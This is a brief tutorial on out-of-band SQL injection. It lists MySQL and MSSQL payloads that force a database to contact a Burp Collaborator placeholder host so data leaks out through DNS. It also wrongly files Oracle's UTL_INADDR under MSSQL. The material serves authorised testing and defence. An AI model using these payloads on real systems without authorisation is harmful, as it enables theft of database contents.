For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Out-of-Band SQL Injection (OOB SQLi) occurs when an attacker uses alternative communication channels to exfiltrate data from a database. Unlike traditional SQL injection techniques that rely on immediate responses within the HTTP response, OOB SQL injection depends on the database server's ability to make network connections to an attacker-controlled server. This method is particularly useful when the injected SQL command's results cannot be seen directly or the server's responses are not stable or reliable. Different databases offer various methods for creating out-of-band connections, the most common technique is the DNS exfiltration: * MySQL

  LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
  SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

* MSSQL

  SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
  exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
